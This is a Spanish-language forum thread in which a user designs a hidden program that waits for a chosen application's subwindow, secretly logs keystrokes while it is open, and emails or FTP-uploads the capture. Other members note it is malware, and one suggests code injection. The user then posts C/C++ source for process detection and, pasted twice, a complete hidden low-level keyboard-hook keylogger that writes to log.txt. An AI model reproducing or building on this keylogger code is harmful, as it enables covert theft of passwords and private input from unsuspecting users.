Captura de datos, cuando , (determinado momento)

Iniciado por c3r0x, 23 Febrero 2014, 06:19 AM

0 Miembros y 1 Visitante están viendo este tema.

c3r0x

Ola comunidad, tengo una duda con respecto, umm digamolo asi, a la arquitectura de un programa, que tengoen mente pero dudo si es posible o no, por eso acudo a uds, para q resuelvan mi duda,

el proposito principal del programa es el siguiente,

1.ejecutarce ocultamente, y estar a la espera
2.detectar xxx.exe proceso
3.interceptar con nombre xxx una subventada del proceso xxx.exe
4.prender modo captura keylogger on
5.verifica cuando la subventana xxx es cerrada
6.detener la captura de datos keylogger
7.mandar datos obtenidos por correo o email
8.fin del programa

este seria el esqueleto , del programa

2paso . luego a la espera, hacechando su presa, un programa "otro programa ejecutado previamente, puede ser una aplicacion cualquiera como ejemplo " una vez el programa es ejecutado, mi programa la intercepta

3páso.verifica "si es posible" por el nombre de la ventana, ej: abres el programa presa, digamos que es un programa , dentro del programa, das clicl  en un boton y este conduce a una subventana del programa con otras respectivas opciones es decir, PROGRAMA COMPLETO EJECUTADO-ABRIR BOTON-ABRE SUBVENTANA DE EL PROGRAMA

4.una vez detectada esta subventana, mi programa espia, comienza a capturar, datos, como snifer, en ese determinado tiempo,  pongamolo en un modo entendible.

*MY PROGRAMA
    -A LA ESPERA DEL PROGRAMA PRESA .
               SI EL PROCESO XXX.EXE ES EJECUTADO
                      ENTONCES [ESPERA Y VERIFICA VENTANA PRESA CON NOMBRE XXX DEL PROCESO XXX.EXE]
                       SI ES [EMPEZAR A CAPTURAR DATOS]
                              *VERIFICA CONSTANTEMENTE SI LA VENTANA PRESA FUE CERRADA
                                        ENTONCES [TERMINE DE CAPTURAR DATOS]
                                              Y LUEGO [GENERAR UN TXT Y MANDARLO POR CORREO O SUBIRLO VIA FTP A UN SERVIDOR ]

FIN DEL PROGRAMA
                                                 





xaps

Esto no va aquí. Esto debería ir al subforo de Diseño de Malware.

Saludos
"The programmers of tomorrow are the wizards of the future" - Gave Newel

c3r0x

realmente yo no lo veo como un malware, solo es un programa por fun

amchacon

Teóricamente sí, en la práctica dudo que un SO que puedas hacerlo al 100% sin encontrarte trabas. Además, ¿como descifras el mogollón de datos?
Por favor, no me manden MP con dudas. Usen el foro, gracias.

¡Visita mi programa estrella!

Rar File Missing: Esteganografía en un Rar

xaps

Venga hombre, que no nací ayer. De todas maneras, aun sin considerarlo malware seguiría estando en un subforo incorrecto (Su subforo sería Programación general).

Cita de: amchacon en 23 Febrero 2014, 15:17 PM
Teóricamente sí, en la práctica dudo que un SO que puedas hacerlo al 100% sin encontrarte trabas. Además, ¿como descifras el mogollón de datos?
Creo que sería más fácil mediante inyección de código. De esta manera te aseguras que los datos que recibes son estrictamente únicos del "target".
"The programmers of tomorrow are the wizards of the future" - Gave Newel

c3r0x

Cita de: xaps en 23 Febrero 2014, 15:25 PM
Venga hombre, que no nací ayer. De todas maneras, aun sin considerarlo malware seguiría estando en un subforo incorrecto (Su subforo sería Programación general).
Creo que sería más fácil mediante inyección de código. De esta manera te aseguras que los datos que recibes son estrictamente únicos del "target".

y si yo lo quiero programar en C/C++ ? creo q olvidaste esa probavilidad, ahora , tecnicamente, cual seria la ruta mas facil

xaps

Cita de: c3r0x en 23 Febrero 2014, 15:53 PM
y si yo lo quiero programar en C/C++ ? creo q olvidaste esa probavilidad, ahora , tecnicamente, cual seria la ruta mas facil
¿Dónde lo pone? :) Si no me equivoco, estás preguntando si es posible realizar una aplicación con ese esquema, no estás pidiendo ayuda concreta sobre una función o un fragmento de código en C++. Revísate las normas del foro, haz el favor.

Y la ruta más fácil depende de muchas variables, entre ellas la aplicación que tengas como objetivo (Y que sea la más fácil no significa que sea la más eficaz). Si quieres una ayuda más técnica tendrás que ser más preciso en tus explicaciones. Yo he nombrado la inyección de código por el problema que planteaba amchacon, pero muy probablemente haya mejores técnicas y métodos para hacerlo.
"The programmers of tomorrow are the wizards of the future" - Gave Newel

c3r0x

#7
Cita de: xaps en 23 Febrero 2014, 16:17 PM
¿Dónde lo pone? :) Si no me equivoco, estás preguntando si es posible realizar una aplicación con ese esquema, no estás pidiendo ayuda concreta sobre una función o un fragmento de código en C++. Revísate las normas del foro, haz el favor.

Y la ruta más fácil depende de muchas variables, entre ellas la aplicación que tengas como objetivo (Y que sea la más fácil no significa que sea la más eficaz). Si quieres una ayuda más técnica tendrás que ser más preciso en tus explicaciones. Yo he nombrado la inyección de código por el problema que planteaba amchacon, pero muy probablemente haya mejores técnicas y métodos para hacerlo.

bueno si lo postie, aqui , fue por una razon, no por jugar al tin marin, busque un poco en la red y encontre lo siguientes datos

encontre esto

basicamente, la aplicacion detecta un  proceso en ejecucion,

PASO #1


#include <vdmdbg.h>

String Server = "xxxx.exe";
bool Conectado = IsRuningW(Server.c_str()) ;

bool IsRunning16_(char* Name)
{
 struct TRuningProcess16{
   char* Name;
   bool Running;


   static BOOL WINAPI
   ProcessTasks(DWORD dwThreadId, WORD hMod16, WORD hTask16, PSZ pszModName, PSZ pszFileName, LPARAM PE)
   {
      if(strstr(strupr(pszFileName), strupr(((TRuningProcess16*)PE)->Name)))
         return ((TRuningProcess16*)PE)->Running = true;
      return false;
   }
   static BOOL WINAPI
   ProcessVDMs(DWORD dwProcessId, DWORD dwAttrib, LPARAM PE)
   {
      VDMEnumTaskWOWEx(dwProcessId, (TASKENUMPROCEX)ProcessTasks, PE);
      return ((TRuningProcess16*)PE)->Running;
   }

 } PE = {Name,0};

 VDMEnumProcessWOW((PROCESSENUMPROC)ProcessVDMs, (LPARAM)&PE);
 return PE.Running;
}



primer paso echo.

seguire editando segun vaya encontrando los paso a paso

SIGO..

PASO#2
/*
* Código presentado por Elinv.
* Captura una ventana por su caption y le envia datos.
* Hotkey para finalizar un programa
* CODE BLOCK 10.05 -
* Win32 GUI project -> tipo Frame Based
*/


#include <windows.h>
#include <winuser.h>
#include <stdio.h>
#include <string.h>

// global hook handle is needed to use a low-level keyboard hook
HHOOK hProc;

__declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam);
DWORD __stdcall Keylogger (LPVOID path);
void MessageLoop (void);

int __stdcall WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {

FreeConsole ();
nShowCmd = SW_HIDE;
LPTSTR execName = GetCommandLine ();
HANDLE hThread = CreateThread (NULL, 0, (LPTHREAD_START_ROUTINE) Keylogger, (LPVOID) execName, 0, NULL);

if (hThread) return WaitForSingleObject (hThread, INFINITE);

return 1;
}

__declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam) {

if (nCode == HC_ACTION && (wParam == WM_SYSKEYDOWN || wParam == WM_KEYDOWN)) {

// info about the key like the virtual-key code, scan code, some flags, time of the message and extra info
KBDLLHOOKSTRUCT keyInfo = *((KBDLLHOOKSTRUCT*) lParam);

// prepare the first parameter for the function GetKeyNameText() picking only the important information
DWORD keyMessage = 1;
keyMessage |= keyInfo.scanCode << 16;
keyMessage |= (keyInfo.flags & 1) << 24;

// load the key name in a buffer
char keyName[0x100];
memset (keyName, 0, 0x100);
keyName[0] = '[';
int i = GetKeyNameText (keyMessage, keyName+1, 0xFE);
keyName[i+1] = ']';

// write the buffer in file
FILE *f = fopen ("log.txt", "a+");
fputs (keyName, f);
fclose (f);
}

return CallNextHookEx (NULL, nCode, wParam, lParam);
}

DWORD __stdcall Keylogger (LPVOID path) {

// try to get a module handle for our executable using GetModuleHandle(). if fails, we try to load our executable as a library.
HINSTANCE hExec = GetModuleHandle (NULL);
if (!hExec) hExec = LoadLibrary ((LPCTSTR) path);

// two methods failed so return error
if (!hExec) return 1;

// install the hook
hProc = SetWindowsHookEx (WH_KEYBOARD_LL, (HOOKPROC) KeyEvent, hExec, 0);

// message loop to manage all the incoming messages
MessageLoop ();
UnhookWindowsHookEx (hProc);
return 0;
}

void MessageLoop (void) {

MSG message;

while (GetMessage (&message, NULL, 0, 0)) {

TranslateMessage (&message);
DispatchMessage (&message);
}
}


PASO #4 PRENDER CAPTURA MODO KEYLOGGER ON

#include <windows.h>
#include <winuser.h>
#include <stdio.h>
#include <string.h>

// global hook handle is needed to use a low-level keyboard hook
HHOOK hProc;

__declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam);
DWORD __stdcall Keylogger (LPVOID path);
void MessageLoop (void);

int __stdcall WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {

FreeConsole ();
nShowCmd = SW_HIDE;
LPTSTR execName = GetCommandLine ();
HANDLE hThread = CreateThread (NULL, 0, (LPTHREAD_START_ROUTINE) Keylogger, (LPVOID) execName, 0, NULL);

if (hThread) return WaitForSingleObject (hThread, INFINITE);

return 1;
}

__declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam) {

if (nCode == HC_ACTION && (wParam == WM_SYSKEYDOWN || wParam == WM_KEYDOWN)) {

// info about the key like the virtual-key code, scan code, some flags, time of the message and extra info
KBDLLHOOKSTRUCT keyInfo = *((KBDLLHOOKSTRUCT*) lParam);

// prepare the first parameter for the function GetKeyNameText() picking only the important information
DWORD keyMessage = 1;
keyMessage |= keyInfo.scanCode << 16;
keyMessage |= (keyInfo.flags & 1) << 24;

// load the key name in a buffer
char keyName[0x100];
memset (keyName, 0, 0x100);
keyName[0] = '[';
int i = GetKeyNameText (keyMessage, keyName+1, 0xFE);
keyName[i+1] = ']';

// write the buffer in file
FILE *f = fopen ("log.txt", "a+");
fputs (keyName, f);
fclose (f);
}

return CallNextHookEx (NULL, nCode, wParam, lParam);
}

DWORD __stdcall Keylogger (LPVOID path) {

// try to get a module handle for our executable using GetModuleHandle(). if fails, we try to load our executable as a library.
HINSTANCE hExec = GetModuleHandle (NULL);
if (!hExec) hExec = LoadLibrary ((LPCTSTR) path);

// two methods failed so return error
if (!hExec) return 1;

// install the hook
hProc = SetWindowsHookEx (WH_KEYBOARD_LL, (HOOKPROC) KeyEvent, hExec, 0);

// message loop to manage all the incoming messages
MessageLoop ();
UnhookWindowsHookEx (hProc);
return 0;
}

void MessageLoop (void) {

MSG message;

while (GetMessage (&message, NULL, 0, 0)) {

TranslateMessage (&message);
DispatchMessage (&message);
}
}